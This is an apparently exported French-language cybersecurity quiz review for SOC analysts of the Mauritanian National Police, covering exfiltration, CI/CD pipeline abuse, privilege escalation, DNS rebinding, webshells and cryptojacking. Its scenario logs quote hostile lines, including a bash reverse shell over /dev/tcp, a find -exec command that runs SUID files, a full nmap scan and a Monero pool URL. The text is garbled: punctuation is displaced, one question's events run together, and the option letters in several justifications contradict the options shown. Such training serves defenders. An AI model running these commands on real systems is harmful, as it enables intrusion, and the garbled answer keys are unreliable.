الشُّرطَةُ الوَطَنِيَّةُ المُورِيتَانِيَة

POLICE NATIONALE MAURITANIENNE

Note de 1,00 sur 1,00 **Correct** **Question 1**

En tant qu'analyste au SOC de la Police Nationale, vous recevez une alerte de faible sévérité de Wazuh sur un serveur web interne Ubuntu (SRV-WEB-APP, IP: 10.10.10.5). L'alerte indique "Méthode de requête HTTP inhabituelle détectée". Les détails montrent quelques requêtes utilisant la méthode HTTP `PROPFIND` vers une adresse IP externe (52.X.X.X, appartenant à AWS). Simultanément, les logs du pare-feu FortiGate confirment un trafic HTTPS sortant de SRV-WEB-APP vers cette IP AWS, mais le volume est faible et intermittent, se fondant dans d'autres trafics légitimes de services cloud. Une vérification rapide des logs de l'application web sur SRV-WEB-APP ne révèle aucune utilisation légitime de `PROPFIND` ou .d'autres méthodes WebDAV. Vous suspectez une exfiltration de données via un canal de communication furtif

Parmi les options suivantes, quelle est la technique d'exfiltration de données la plus probable utilisée par l'attaquant et quelle règle de corrélation ? SIEM (Wazuh/ELK) serait la plus efficace pour la détecter de manière fiable à l'avenir

- **a.** .Aucune des réponses proposées
- **b.** Technique : Stéganographie dans le trafic HTTPS. Règle SIEM : Détecter les anomalies de taille de paquets HTTPS et les signatures de .certificats TLS inconnus
- **c.** Technique : Exfiltration via WebDAV (PROPFIND). Règle SIEM : Corréler les requêtes HTTP `PROPFIND` vers des destinations externes non autorisées avec .l'absence d'activité WebDAV légitime sur le serveur

  Correct. L'utilisation de la méthode `PROPFIND`, l'absence d'activité WebDAV légitime et le trafic vers une IP externe (AWS) sont des indicateurs clés d'une exfiltration via WebDAV. La règle SIEM .proposée est précise et efficace
- **d.** Technique : Exfiltration via ICMP. Règle SIEM : Surveiller les paquets ICMP avec des charges utiles de grande taille ou des motifs de données .inhabituels
- **e.** .Technique : Tunneling DNS. Règle SIEM : Alerte sur un volume élevé de requêtes DNS vers des domaines non résolus

Analyse technique : L'alerte Wazuh sur la méthode HTTP `PROPFIND`, combinée au trafic HTTPS sortant vers AWS (une destination légitime mais potentiellement détournée) et à l'absence d'utilisation légitime de WebDAV sur le serveur, indique fortement une exfiltration de données via le protocole WebDAV. WebDAV est une extension de HTTP qui permet la gestion de fichiers sur des serveurs web, et des méthodes comme `PROPFIND` peuvent être utilisées pour récupérer des informations ou exfiltrer des données en les encodant dans les requêtes ou les réponses. L'utilisation de HTTPS vers un service cloud .légitime rend cette technique furtive car elle se fond dans le trafic normal et est chiffrée

: Justification

- **Option B (Correcte) :** La technique d'exfiltration via WebDAV (PROPFIND) correspond parfaitement au scénario. La règle SIEM proposée est très pertinente : corréler la méthode HTTP spécifique (`PROPFIND`) avec une destination externe non autorisée (ou non attendue pour ce type de méthode) et .l'absence d'activité WebDAV légitime est une approche de haute fidélité pour détecter ce canal furtif
- **Option A :** Le tunneling DNS utilise le protocole DNS, non HTTP, pour l'exfiltration. Le scénario décrit clairement des requêtes HTTP.
- **Option C :** La stéganographie est une technique d'occultation, mais le signal principal ici est la méthode HTTP `PROPFIND`, pas une anomalie de taille de .paquets ou de certificats TLS qui serait plus générique et moins spécifique à l'IoC donné
- **Option D :** L'exfiltration via ICMP utilise le protocole ICMP, non HTTP. Le scénario décrit clairement des requêtes HTTP.
- **Option E :** L'option B est correcte.

La réponse correcte est : Technique : Exfiltration via WebDAV (PROPFIND). Règle SIEM : Corréler les requêtes HTTP `PROPFIND` vers des destinations externes .non autorisées avec l'absence d'activité WebDAV légitime sur le serveur

: Scénario

En tant qu'ingénieur cybersécurité au SOC de la Police Nationale, vous analysez une alerte pour un scan de ports non autorisé contre le serveur de gestion des RH (SRV-RH, IP: 10.50.10.20), situé dans un VLAN hautement restreint. Le scan provient d'un GitLab Runner (IP: 10.100.5.15), qui .ne devrait normalement pas pouvoir communiquer avec ce VLAN

: Événements Corrélés

1. **Log FortiGate :**Log d'audit GitLab : (stockant les configurations des outils de sécurité) par un compte développeur, juste avant l'incident.`dast-configs`Log de Tâche CI/CD (Projet "e-Portail") :.`dast-configs`Alerte Wazuh (sur le GitLab Runner) :.`sh -c "nmap -sT -p- 10.50.10.20"`Analyse du Fichier de Projet Burp : qui exécute une commande externe via une extension Burp : personnalisée.`session_handling_rule`Question

En vous basant sur cette chaîne d'attaque complexe, quelles affirmations parmi les suivantes fournissent l'analyse la PLUS précise de la cause racine et la stratégie de remédiation la PLUS efficace ? (Sélectionnez deux options)

- [x] **a.** **Analyse :** La vulnérabilité réside dans l'extension Burp personnalisée (BApp) qui autorise l'exécution de commandes externes, ce qui constitue une mauvaise pratique de sécurité. **Remédiation :** Retirer immédiatement l'extension vulnérable, auditer toutes les autres extensions personnalisées et mettre en place une politique n'autorisant que les extensions vérifiées et .signées

  > Correct. Cette option identifie correctement que l'abus d'une extension trop permissive est un point central de l'attaque. La remédiation proposée, qui consiste à établir une gouvernance sur les outils et leurs extensions, est une mesure de sécurité fondamentale .pour la robustesse de la pipeline CI/CD

- [ ] **b.** .Aucune des réponses proposées

- [ ] **c.** **Analyse :** L'attaquant a exploité une vulnérabilité d'injection de commande dans l'outil Burp Suite Enterprise. **Remédiation :** Mettre à jour .immédiatement Burp Suite vers la dernière version et relancer tous les scans

- [x] **d.** **Analyse :** Il s'agit d'une attaque sur la chaîne d'approvisionnement via la configuration de l'outil DAST. L'attaquant a abusé d'une fonctionnalité légitime de Burp Suite pour exécuter des commandes. **Remédiation :** Mettre en place des contrôles d'accès stricts et des revues de code obligatoires sur le dépôt `dast-configs`, et exécuter les scanners dans des conteneurs non privilégiés avec des profils .seccomp restrictifs

  > Correct. Cette option identifie précisément la cause racine (compromission de la configuration de l'outil) et propose des mesures de remédiation complètes qui adressent à la fois le processus (sécurisation du dépôt) et la technique (durcissement de l'environnement .d'exécution)

- [ ] **e.** **Analyse :** Le compte du développeur a été compromis, menant à un commit malveillant dans le projet principal "e-Portail" qui a déclenché le ."scan Nmap. **Remédiation :** Révoquer les accès du développeur et analyser le code source du projet "e-Portail

- [ ] **f.** **Analyse :** Le GitLab Runner était mal configuré, lui permettant d'accéder au VLAN des RH. Le scan Burp Suite est un événement coïncident. .**Remédiation :** Corriger les règles du pare-feu FortiGate pour isoler correctement le VLAN CI/CD

> **: Analyse technique**
>
> La chaîne d'attaque est une compromission sophistiquée de la chaîne d'approvisionnement logicielle, non pas au niveau du code applicatif, mais au niveau de .la configuration des outils de sécurité intégrés à la pipeline CI/CD
>
> 1. **Vecteur Initial :** Compromission d'un compte développeur.
> 2. **Point d'Injection :** Modification d'un fichier de configuration (projet Burp Suite) dans un dépôt secondaire (`dast-configs`) qui est considéré comme une .source de confiance par la pipeline
> 3. **Abus de Fonctionnalité :** Utilisation d'une fonctionnalité avancée et légitime de Burp Suite (les règles de session et les extensions) pour exécuter une .charge utile malveillante. L'outil de sécurité est retourné contre l'infrastructure
> 4. **Pivot Latéral :** Le conteneur du scanner, s'exécutant dans une zone réseau de confiance (VLAN_CICD), est utilisé comme une plateforme pour lancer des attaques (scan Nmap) contre d'autres segments réseau internes (VLAN_RH). Le pare-feu a correctement fonctionné en bloquant cette tentative de .communication inter-VLAN non autorisée
>
> **: Justification des Bonnes Réponses**
>
> - **(B)** identifie correctement la nature de l'attaque (supply chain sur la configuration) et propose une remédiation à la fois au niveau du processus (contrôles sur le dépôt de configuration) et de la technique (durcissement de l'environnement d'exécution du runner), ce qui constitue une défense en

.profondeur

- **(E)** cible avec précision un autre maillon faible de la chaîne : l'extension Burp trop permissive. Retirer cette extension et mettre en place une gouvernance sur les outils utilisés dans la pipeline est une mesure de remédiation cruciale pour empêcher que ce type d'abus de fonctionnalité ne se .reproduise

Les autres options sont incorrectes car elles interprètent mal les preuves : (A) suppose une vulnérabilité de l'outil alors qu'il s'agit d'un abus de configuration ; .(C) ignore le fait que le pare-feu a bien bloqué le trafic, indiquant que la segmentation fonctionne ; (D) se trompe sur le dépôt qui a été modifié

Les réponses correctes sont : Analyse : Il s'agit d'une attaque sur la chaîne d'approvisionnement via la configuration de l'outil DAST. L'attaquant a abusé d'une fonctionnalité légitime de Burp Suite pour exécuter des commandes. Remédiation : Mettre en place des contrôles d'accès stricts et des revues de code obligatoires sur le dépôt `dast-configs`, et exécuter les scanners dans des conteneurs non privilégiés avec des profils seccomp restrictifs., Analyse : La vulnérabilité réside dans l'extension Burp personnalisée (BApp) qui autorise l'exécution de commandes externes, ce qui constitue une mauvaise pratique de sécurité. Remédiation : Retirer immédiatement l'extension vulnérable, auditer toutes les autres extensions personnalisées et mettre en place une politique .n'autorisant que les extensions vérifiées et signées

Note de 0,00 sur 1,00 **Incorrect** **Question 3**

: En tant qu'analyste au SOC de la Police Nationale, vous investiguez une série d'événements suspects corrélés

Log d'audit GitLab : Un commit suspect, poussé par un compte développeur, modifie le fichier `.gitlab-ci.yml` du projet "e-Mandats". La .1 variable `DAST_TARGET_URL`, normalement pointant vers l'environnement de pré-production, est changée pour .`https://gitlab.interne.police.mr`, et une nouvelle variable `DAST_CUSTOM_SCRIPT` est ajoutée, pointant vers un fichier `evil.js` dans le commit

Log de la Tâche CI/CD : La tâche "dast-scan" s'exécute avec succès. Les logs montrent que l'outil OWASP ZAP, encapsulé dans un conteneur .2 .Docker, a bien été lancé avec la cible `https://gitlab.interne.police.mr` et a chargé le script `evil.js`

Alerte Wazuh (sur le serveur GitLab) : Quelques minutes plus tard, une alerte de haute sévérité est déclenchée : "Création de processus .3 suspecte". Le processus `puma` (serveur d'application de GitLab) a engendré un processus `sh`, qui a ensuite exécuté `/bin/bash -i >& ./dev/tcp/10.100.10.5/9001 0>&1`

Log FortiGate : Le pare-feu autorise une connexion TCP depuis le serveur GitLab vers l'IP du GitLab Runner (10.100.10.5) sur le port 9001, .4 .identifiée comme un reverse shell

? En vous basant sur la corrélation de ces quatre indicateurs, quelle est l'analyse de la situation et le plan de remédiation le plus pertinent

- [x] .a La modification du pipeline CI/CD visait à utiliser le GitLab Runner comme un proxy pour exfiltrer des données depuis le serveur GitLab. Le script `evil.js` a probablement accédé à l'API interne de GitLab pour voler des secrets. Le plan de remédiation est de faire une .rotation de tous les secrets et jetons d'API de GitLab

  Incorrect. L'alerte Wazuh indiquant un reverse shell est une preuve forte d'une tentative de prise de contrôle interactive (RCE), ce qui est une menace plus directe et immédiate que la simple exfiltration .de secrets via API

- [ ] .b .Aucune des réponses proposées

- [ ] .c L'attaque est une injection de commande via la variable `DAST_TARGET_URL`. L'attaquant a exploité une vulnérabilité de type SSRF dans l'application "e-Mandats" pour pivoter vers le serveur GitLab. Le plan de remédiation consiste à corriger la vulnérabilité SSRF dans "e-Mandats" et .à révoquer les accès du développeur

- [x] .d L'attaquant a abusé de la tâche DAST pour exécuter un script malveillant qui a exploité une vulnérabilité dans GitLab, menant à une RCE. Le plan de remédiation consiste à révoquer les accès du développeur, à supprimer le commit malveillant et à scanner le serveur GitLab pour .d'autres indicateurs de compromission

  Incorrect. Bien que l'analyse de l'attaque soit correcte, le plan de remédiation est incomplet. Il omet la mesure architecturale essentielle qui consiste à isoler le réseau du runner DAST pour l'empêcher de cibler des services internes non .autorisés à l'avenir

- [x] .e Le serveur GitLab a été compromis via une vulnérabilité RCE (Remote Code Execution) exposée sur Internet. L'attaquant a ensuite modifié le projet "e-Mandats" pour établir une persistance. Le plan de remédiation est d'isoler le serveur GitLab, de le réinstaller à partir .d'une sauvegarde saine et de mettre à jour ses composants

  Incorrect. Les preuves (modification du `.gitlab-ci.yml`, logs de la tâche CI/CD) indiquent que le vecteur d'attaque initial est la pipeline CI/CD, et non .une exploitation directe depuis Internet

.Votre réponse est incorrecte

: Analyse technique

: La chaîne d'attaque est la suivante

.**Compromission initiale :** Un compte développeur GitLab est compromis .1

.**Abus de la pipeline CI/CD :** L'attaquant modifie le fichier `.gitlab-ci.yml` pour détourner un outil de sécurité légitime (DAST/OWASP ZAP) .2
.**Pivot interne :** La cible du scan DAST est changée de l'application en pré-production vers le serveur GitLab interne lui-même .3
Exécution de code : Un script malveillant (`evil.js`) est chargé par ZAP. Ce script exploite une vulnérabilité (probablement de type RCE) sur le serveur GitLab, .4
.non exposée à l'externe mais accessible depuis le réseau interne du Runner
Prise de contrôle : L'exploitation réussie permet à l'attaquant d'obtenir un reverse shell depuis le serveur GitLab vers le GitLab Runner, qui sert de point de .5
.pivot

: Justification
.Aucune des options proposées n'est entièrement correcte et complète
- .L'option A identifie à tort l'application "e-Mandats" comme le point de pivot
- .L'option B ignore le rôle crucial de la pipeline CI/CD comme vecteur d'attaque initial
- L'option C propose un plan de remédiation incomplet car il omet la correction de la faille architecturale la plus critique : le manque d'isolation réseau du .conteneur DAST, qui lui a permis de cibler un service interne non prévu
- .L'option D interprète mal l'objectif final de l'attaquant, qui est clairement une prise de contrôle (RCE) et non une simple exfiltration de secrets via l'API

Un plan de remédiation complet et efficace doit impérativement inclure la reconfiguration réseau pour que les tâches de scan de sécurité s'exécutent dans un .environnement isolé, avec des règles de pare-feu strictes les limitant uniquement à leurs cibles légitimes

.La réponse correcte est : Aucune des réponses proposées

Note de -0,25 sur 1,00 **Incorrect** **Question 4**

En tant qu'ingénieur cybersécurité pour la Police Nationale, vous effectuez une analyse post-incident sur un serveur web Ubuntu compromis. L'attaquant a initialement obtenu un shell en tant qu'utilisateur www-data via une vulnérabilité applicative. L'investigation révèle que l'attaquant a ensuite réussi à escalader ses privilèges pour devenir l'utilisateur root. L'artefact crucial identifié dans les logs d'audit (auditd) et l'historique des : commandes, qui a directement conduit à l'obtention d'un shell root, est l'exécution de la commande suivante par l'utilisateur www-data

```
find /var/www/html/uploads -perm -u=s -type f -exec {} \;
```

En vous basant sur le fait que cette commande spécifique a été le vecteur de succès de l'escalade de privilèges, laquelle des configurations ? suivantes représente la faille de sécurité la plus probable qui a permis cette attaque

- .a Une tâche cron mal configurée s'exécutait en tant que root et exécutait périodiquement des scripts trouvés dans le répertoire `./var/www/html/uploads`, que l'attaquant a pu écrire
- .b L'attaquant a utilisé la commande `find` pour identifier des fichiers de configuration sensibles, puis a exploité une vulnérabilité du noyau Linux .(Kernel Exploit) non corrigée pour obtenir les privilèges root

  Incorrect. Le scénario stipule que la commande `find ... -exec` a "directement conduit" à l'escalade. Cette option suggère que la commande `find` n'était qu'une étape de reconnaissance avant une attaque différente (exploitation du noyau), ce qui contredit les faits .de l'incident
- .c Le binaire `/usr/bin/find` lui-même avait le bit SUID positionné et appartenait à l'utilisateur root, permettant à l'option `-exec` d'exécuter des .commandes avec des privilèges élevés
- .d Le fichier `/etc/sudoers` contenait une mauvaise configuration, telle que `www-data ALL=(ALL) NOPASSWD: /usr/bin/find`, permettant à .l'utilisateur web d'exécuter la commande `find` en tant que root
- .e .Aucune des réponses proposées

.Incorrect

: Analyse technique
La question évalue la capacité à analyser précisément une ligne de commande et à en déduire la vulnérabilité sous-jacente, en écartant des scénarios .d'escalade de privilèges plus courants mais qui ne correspondent pas à la preuve fournie

La commande `find /var/www/html/uploads -perm -u=s -type f -exec {} \;` recherche dans le répertoire `/var/www/html/uploads` tous les fichiers (`-type f`) qui ont le bit SUID positionné (`-perm -u=s`) et les exécute (`-exec {} \;`.

Pour que cette commande aboutisse à une escalade de privilèges vers root, il faut impérativement qu'un fichier binaire, appartenant à l'utilisateur root et avec

le bit SUID, existe dans le répertoire spécifié. Ce binaire doit lui-même contenir une vulnérabilité permettant d'obtenir un shell (par exemple, un programme C (qui appelle `system("/bin/bash")`.

: Justification

- L'option A est incorrecte car la commande n'utilise pas `sudo`.
- L'option B est un distracteur plausible, mais la vulnérabilité ne réside pas dans la commande `find` elle-même. L'option `-exec` exécute les fichiers trouvés, elle n'exploite pas `find` pour obtenir un shell.
- L'option C décrit un vecteur d'attaque valide mais totalement différent de celui prouvé par la commande exécutée.
- L'option D suggère une exploitation de noyau, ce qui est une étape ultérieure ou alternative, mais pas le résultat direct de l'exécution de la commande `find` comme décrit.

Par conséquent, aucune des options proposées ne décrit la condition nécessaire et suffisante pour que cette attaque réussisse : la présence d'un binaire SUID-root vulnérable dans le répertoire `/var/www/html/uploads`. La bonne réponse est donc "Aucune des réponses proposées".

La réponse correcte est : Aucune des réponses proposées.

Note de -0,25 sur 1,00 **Incorrect** **Question 5**

Scénario : En tant qu'ingénieur cybersécurité au SOC, vous investiguez une fuite de données subtile. Un GitLab Runner, hébergé sur un serveur Ubuntu (10.100.10.5), est utilisé pour construire une application critique. Son trafic réseau est filtré par un pare-feu FortiGate qui n'autorise la communication sortante que vers le dépôt d'artefacts interne `nexus.police.mr` (10.100.20.30) sur le port 443 et vers le serveur DNS interne (10.1.1.1).

: Incident : Durant une tâche de construction, une capture `tshark` sur l'hôte du runner révèle la séquence suivante

1. **Une requête DNS pour `build-deps.malicious.com` est envoyée au serveur DNS interne 10.1.1.1.**
2. **Le serveur DNS répond avec un enregistrement A : `build-deps.malicious.com -> 10.100.20.30` (l'IP de Nexus) avec un TTL (Time To Live) de 1 seconde.**
3. **Le runner initie une connexion TLS vers 10.100.20.30 sur le port 443, qui est autorisée par le FortiGate.**
4. **Quelques secondes plus tard, les logs du FortiGate montrent une nouvelle tentative de connexion TLS initiée par le même processus sur le runner, mais cette fois vers une IP externe `98.X.X.X`, qui est correctement bloquée par la règle de refus par défaut.**

Vous suspectez une attaque de type "DNS Rebinding" via une dépendance de build compromise.

Question : Parmi les plans de réponse suivants, lequel est le PLUS efficace et complet pour contenir la menace immédiate et prévenir sa récurrence ?

a. Révoquer immédiatement les jetons d'accès et les clés SSH de tous les développeurs ayant récemment contribué au projet. Forcer une rotation des mots de passe et analyser leurs postes de travail à la recherche de compromissions.

b. Modifier la politique du FortiGate pour remplacer la règle autorisant le trafic vers le FQDN `nexus.police.mr` par une règle n'autorisant que l'adresse IP `10.100.20.30`. Cela empêchera le runner de résoudre des noms de domaine externes.

> Cette action ne résout pas le problème fondamental. Le runner peut toujours effectuer des requêtes DNS vers le serveur interne. Le pare-feu, en voyant une requête DNS légitime, ne la bloquera pas. L'attaque se produit au niveau de la résolution de nom, avant que la politique de trafic applicatif ne soit évaluée.

c. Aucune des réponses proposées.

d. Ajouter immédiatement une règle sur le FortiGate pour bloquer toute communication sortante vers l'adresse IP externe `98.X.X.X`. Ensuite, effectuer une analyse forensique complète du GitLab Runner pour identifier le binaire malveillant.

e. Isoler le GitLab Runner du réseau. Analyser l'image Docker finale de l'application construite avec un outil comme Trivy pour trouver la dépendance compromise. Mettre à jour la dépendance et relancer la pipeline.

Analyse technique : L'attaque décrite est une exfiltration de données par "DNS Rebinding". L'attaquant exploite la confiance accordée à une résolution DNS initiale pour contourner un filtrage de sortie basé sur les adresses IP. Le TTL très court est l'indicateur clé, permettant à l'attaquant de changer l'adresse IP de son domaine malveillant juste après que la connexion initiale a été autorisée par le pare-feu vers une destination légitime.

Justification : Aucune des options proposées n'est une solution complète et robuste.

- **Option A** est purement réactive. Bloquer une IP est une mesure temporaire car l'attaquant peut en utiliser une autre.
- **Option B** se concentre sur le mauvais artefact. La charge malveillante se trouve dans une dépendance de build (transitoire), pas nécessairement dans l'image Docker finale de l'application.
- **Option C** est une mauvaise interprétation de la solution. La règle ne prévient pas la résolution DNS elle-même. Le runner a toujours besoin de résoudre des noms de domaine légitimes. Le problème est l'incapacité à contrôler QUELS domaines il peut résoudre.
- **Option D** traite du point d'entrée potentiel (un compte compromis) mais ne corrige pas la vulnérabilité technique fondamentale dans l'architecture de la pipeline CI/CD qui a permis à l'attaque de réussir.

Une solution correcte et experte impliquerait une combinaison de mesures telles que : la mise en place d'un DNS Firewall (ou DNS Sinkhole) pour n'autoriser la résolution que de domaines sur liste blanche, forcer le trafic de sortie du runner à travers un proxy d'inspection TLS explicite, et implémenter des contrôles d'intégrité sur les dépendances de build (Software Supply Chain Security).

La réponse correcte est : Aucune des réponses proposées.

Note de -0,25 sur 1,00 **Incorrect** **Question 6**

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une série d'alertes concernant le serveur de base de données critique `SRV-DATA-JUDICIAIRE` (Ubuntu/PostgreSQL, IP: 10.20.30.5). Vous corrélez les événements suivants sur une période de 5 minutes :

1. **Alerte Wazuh (sur 10.20.30.5) :** `Rule: 5710 - sshd: Attempt to login using a non-existent user.` **se répète des dizaines de fois. Le nom d'utilisateur testé est `postgres` et l'IP source est `10.10.80.15` (serveur applicatif `SRV-APP-LEGACY`).**
2. **Log FortiGate : Un volume élevé de sessions TCP est observé entre `10.10.80.15` (source) et `10.20.30.5` (destination) sur le port 5432. L'analyse des sessions montre un grand nombre de paquets `TCP-RST` (Reset) envoyés par le serveur de base de données.**
3. **Log PostgreSQL (sur 10.20.30.5) : Des centaines de messages `FATAL: password authentication failed for user "postgres"` sont enregistrés, tous provenant de l'hôte `10.10.80.15`.**
4. **Alerte Wazuh (sur 10.20.30.5) :** `Rule: 5503 - PAM: User login failed.` **est déclenchée de manière répétée pour l'utilisateur `postgres` via `sshd`.**

En vous basant sur une analyse rigoureuse de ces indicateurs, quelle conclusion et plan d'action immédiat sont les plus pertinents ?

a. L'attaquant a compromis `SRV-APP-LEGACY` et lance une attaque par force brute sur les services SSH et PostgreSQL de `SRV-DATA-JUDICIAIRE`. Il faut immédiatement créer une règle sur le FortiGate pour bloquer tout trafic provenant de `10.10.80.15`.

b. Il s'agit d'une tentative de mouvement latéral depuis `SRV-APP-LEGACY`. La priorité est d'isoler ce serveur du réseau et de lancer une acquisition de la mémoire vive (RAM) pour analyse forensique.

c. Le serveur `SRV-DATA-JUDICIAIRE` subit une attaque par déni de service (DoS) visant à saturer ses services d'authentification. Il faut mettre en place une politique de limitation de débit (rate limiting) sur le FortiGate pour le port 5432 depuis la source `10.10.80.15`.

Incorrect. Bien que le volume de trafic soit élevé, la nature des logs (échecs d'authentification spécifiques, tentatives SSH) pointe vers un problème de configuration plutôt qu'une attaque DoS classique. Appliquer une limitation de débit pourrait masquer le problème de fond et dégrader les performances d'une application légitime.

d. Une attaque de type "credential stuffing" est en cours. Il faut d'urgence verrouiller le compte utilisateur `postgres` sur le serveur de base de données et sur le système d'exploitation pour stopper l'attaque.

e. Aucune des réponses proposées.

Analyse technique : La combinaison des événements pointe fortement vers une mauvaise configuration applicative sur `SRV-APP-LEGACY` plutôt qu'une attaque délibérée. Les tentatives de connexion SSH avec l'utilisateur de service `postgres` sont atypiques pour une attaque et suggèrent un script ou une configuration erronée. Les échecs d'authentification PostgreSQL constants pour le même utilisateur, couplés aux resets TCP, indiquent un problème de mot de passe ou de méthode d'authentification, et non une force brute (qui testerait de nombreux mots de passe/utilisateurs).

Justification : Un expert doit d'abord envisager la possibilité d'une défaillance opérationnelle avant de conclure à une attaque, surtout lorsque la source est un serveur interne connu. Les actions proposées (A, B, C, D) sont prématurées et potentiellement dommageables. Elles pourraient causer une interruption de service majeure si `SRV-APP-LEGACY` est une application critique. La première étape logique serait de contacter les administrateurs de `SRV-APP-LEGACY` pour vérifier sa configuration de connexion à la base de données. Aucune des options ne propose cette approche d'investigation et de diagnostic, qui est la plus professionnelle et la moins risquée.

.La réponse correcte est : Aucune des réponses proposées

Note de 1,00 sur 1,00 **Correct** **Question 7**

En tant qu'analyste au SOC de la Police Nationale, vous êtes confronté à une série d'alertes concernant le serveur web "e-Visas" (Ubuntu), qui : s'exécute dans un conteneur Docker. Vous corréléz les événements suivants

1. **Alerte Wazuh :** Une règle de surveillance de l'intégrité des fichiers (FIM) signale la création d'un nouveau fichier : `./var/www/html/uploads/shell.php`. Le propriétaire du fichier est l'utilisateur du serveur web, `www-data`.
2. **Log FortiGate :** Le pare-feu bloque une connexion TCP sortante initiée depuis l'adresse IP de l'hôte Docker (10.10.15.20) vers une adresse IP externe (91.X.X.X) sur le port 8080. L'IP de destination est répertoriée comme un serveur de commande et de contrôle (C2) connu.
3. **Analyse de l'Hôte :** Une connexion à l'intérieur du conteneur (`docker exec`) confirme la présence du fichier `shell.php`. Cependant, son contenu est simple et ne semble pas fonctionnel (ex: `<?php echo 'ok'; ?>`). La commande `netstat` à l'intérieur du conteneur ne montre aucune connexion sortante active.

En vous basant sur ces éléments, quelles sont les actions de réponse à incident les plus critiques et techniquement appropriées à entreprendre immédiatement ?

- [x] a. Aucune des réponses proposées.

  Correct. Toutes les options proposées sont soit incomplètes, soit destructrices de preuves, soit mal ciblées. Une réponse appropriée d'expert consisterait à prioriser la collecte de preuves volatiles (dump mémoire du processus suspect) avant toute action de remédiation, puis à mettre en place un confinement réseau ciblé tout en investiguant la cause racine (la vulnérabilité initiale).

- [ ] b. Isoler le conteneur du réseau en utilisant `docker network disconnect`, puis créer une image forensique du conteneur avec `docker commit` pour une analyse hors ligne du système de fichiers.
- [ ] c. Redémarrer immédiatement le conteneur Docker (`docker restart`) pour tuer tout processus malveillant en mémoire, puis analyser les logs du serveur web pour trouver la vulnérabilité exploitée.
- [ ] d. Supprimer immédiatement le fichier `shell.php` du conteneur et utiliser les logs du serveur web pour identifier l'adresse IP source de l'upload afin de la bloquer au niveau du FortiGate.
- [ ] e. Mettre en place une règle sur le FortiGate pour bloquer tout le trafic sortant de l'hôte Docker (10.10.15.20) afin de contenir la menace, puis lancer un scan de vulnérabilités complet sur le conteneur avec un outil comme Trivy.

Analyse technique : Ce scénario est conçu pour tester la capacité de l'analyste à ne pas tirer de conclusions hâtives et à reconnaître les signes d'une attaque complexe, potentiellement "fileless" (sans fichier), où le webshell n'est qu'un leurre ou un symptôme secondaire. La menace principale est probablement un processus malveillant s'exécutant en mémoire (par exemple, via une vulnérabilité de désérialisation ou d'exécution de code à distance) qui a établi la connexion C2. Toutes les options proposées sont des erreurs courantes en réponse à incident : elles se concentrent sur le symptôme (le fichier), sont incomplètes, ou détruisent des preuves cruciales.

Justification : Une réponse d'expert impliquerait en priorité la préservation des preuves volatiles. L'action la plus critique serait de réaliser un dump de la mémoire vive du conteneur et/ou du processus PHP/Apache pour analyse, car c'est là que la menace réside probablement. Ensuite, une analyse approfondie des logs applicatifs (pas seulement les logs d'accès web) serait nécessaire pour identifier la vulnérabilité initiale. Les mesures de confinement devraient être ciblées (par exemple, des règles iptables sur l'hôte pour bloquer le trafic du conteneur spécifique vers l'IP C2) pour ne pas interrompre d'autres services. Aucune des options ne propose cette approche méthodique et axée sur la préservation des preuves, ce qui rend "Aucune des réponses proposées" la seule option correcte.

.La réponse correcte est : Aucune des réponses proposées

Note de 0,00 sur 1,00 **Incorrect** **Question 8**

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une dégradation de performance sur un cluster Kubernetes critique. Vous : corrélez les quatre indicateurs suivants

1. **Monitoring (Prometheus) :** Une utilisation CPU anormalement élevée et constante est observée sur le nœud de travail `k8s-worker-03`, provenant quasi-exclusivement d'un pod nommé `log-shipper-7d8f...` dans le namespace `kube-system`.

2. **Logs Réseau (FortiGate) :** L'adresse IP du nœud `k8s-worker-03` initie un grand volume de connexions TCP sortantes vers de multiples adresses IP externes non répertoriées sur le port 4444.
3. **Configuration du Pod (`kubectl describe`) :** Le pod exécute une image `log-analytics/shipper:latest`. Il utilise un montage de volume `hostPath` sur `/var/log` pour collecter les logs du nœud. Il ne s'exécute pas en mode privilégié (`privileged: false`).
4. **Alerte SIEM (Wazuh) :** Une alerte de faible sévérité est déclenchée pour une "Connexion à un domaine de cryptomining connu" par le processus s'exécutant dans le pod `log-shipper`, à destination de `stratum+tcp://xmr.pool.minergate.com:4444`.

En vous basant sur ces indicateurs, quelle est l'analyse la plus précise de la situation et le plan de remédiation immédiat le plus efficace ?

a. Il s'agit d'une évasion de conteneur. Le montage de volume `hostPath` a permis à l'attaquant d'installer un cryptomineur sur le nœud. L'action immédiate est de drainer le nœud et de le ré-imager.

Incorrect. Il n'y a pas de preuve directe d'une évasion de conteneur. Cette conclusion est prématurée. De plus, drainer le nœud immédiatement détruirait les preuves avant une analyse forensique.

b. L'agent Wazuh est mal configuré et génère des faux positifs. Le trafic et le CPU sont légitimes. Le plan est d'ajuster les règles de détection.

c. Aucune des réponses proposées.

d. Le pod `log-shipper` est compromis et fait partie d'un botnet DDoS. La remédiation consiste à appliquer une NetworkPolicy pour bloquer tout le trafic egress du namespace `kube-system`.

e. L'image Docker `log-analytics/shipper:latest` est malveillante (attaque de la chaîne d'approvisionnement). Le plan est de supprimer le déploiement, scanner l'image, et trouver une alternative de confiance.

Incorrect. Bien que l'analyse soit plausible, ce plan omet les étapes critiques et immédiates de confinement et d'investigation qui doivent précéder l'éradication.

Analyse technique : La bonne réponse est "Aucune des réponses proposées". Ce scénario est un cas classique de cryptojacking via une attaque de la chaîne d'approvisionnement (supply chain) sur une image Docker, exploitant une mauvaise pratique courante (l'utilisation de la balise `:latest`). Chaque option proposée contient une erreur critique dans l'analyse ou dans le plan de remédiation, ce qui les rend incorrectes pour un expert.

Justification :

- **Option A est incorrecte :** L'alerte Wazuh identifie clairement une activité de cryptomining (XMR = Monero), pas un DDoS. De plus, bloquer tout le trafic sortant du namespace `kube-system` est une action excessive et dangereuse qui pourrait paralyser des composants essentiels du cluster (comme CoreDNS), provoquant une panne majeure.
- **Option B est incorrecte :** Bien que le montage `hostPath` soit une configuration à risque, il n'y a aucune preuve directe d'une évasion de conteneur. Les symptômes (CPU élevé dans le pod, trafic réseau) sont cohérents avec un mineur s'exécutant *à l'intérieur* du conteneur. Conclure à une évasion est prématuré et probablement faux. Drainer le nœud immédiatement détruirait des preuves volatiles cruciales.
- **Option C est incorrecte :** L'analyse est plausible, mais le plan de remédiation est incomplet et pas le plus efficace *immédiatement*. La première priorité est de contenir la menace active. Supprimer le déploiement est une étape d'éradication, mais elle doit être précédée par une phase de confinement (pour stopper le préjudice) et d'investigation (pour préserver les preuves).
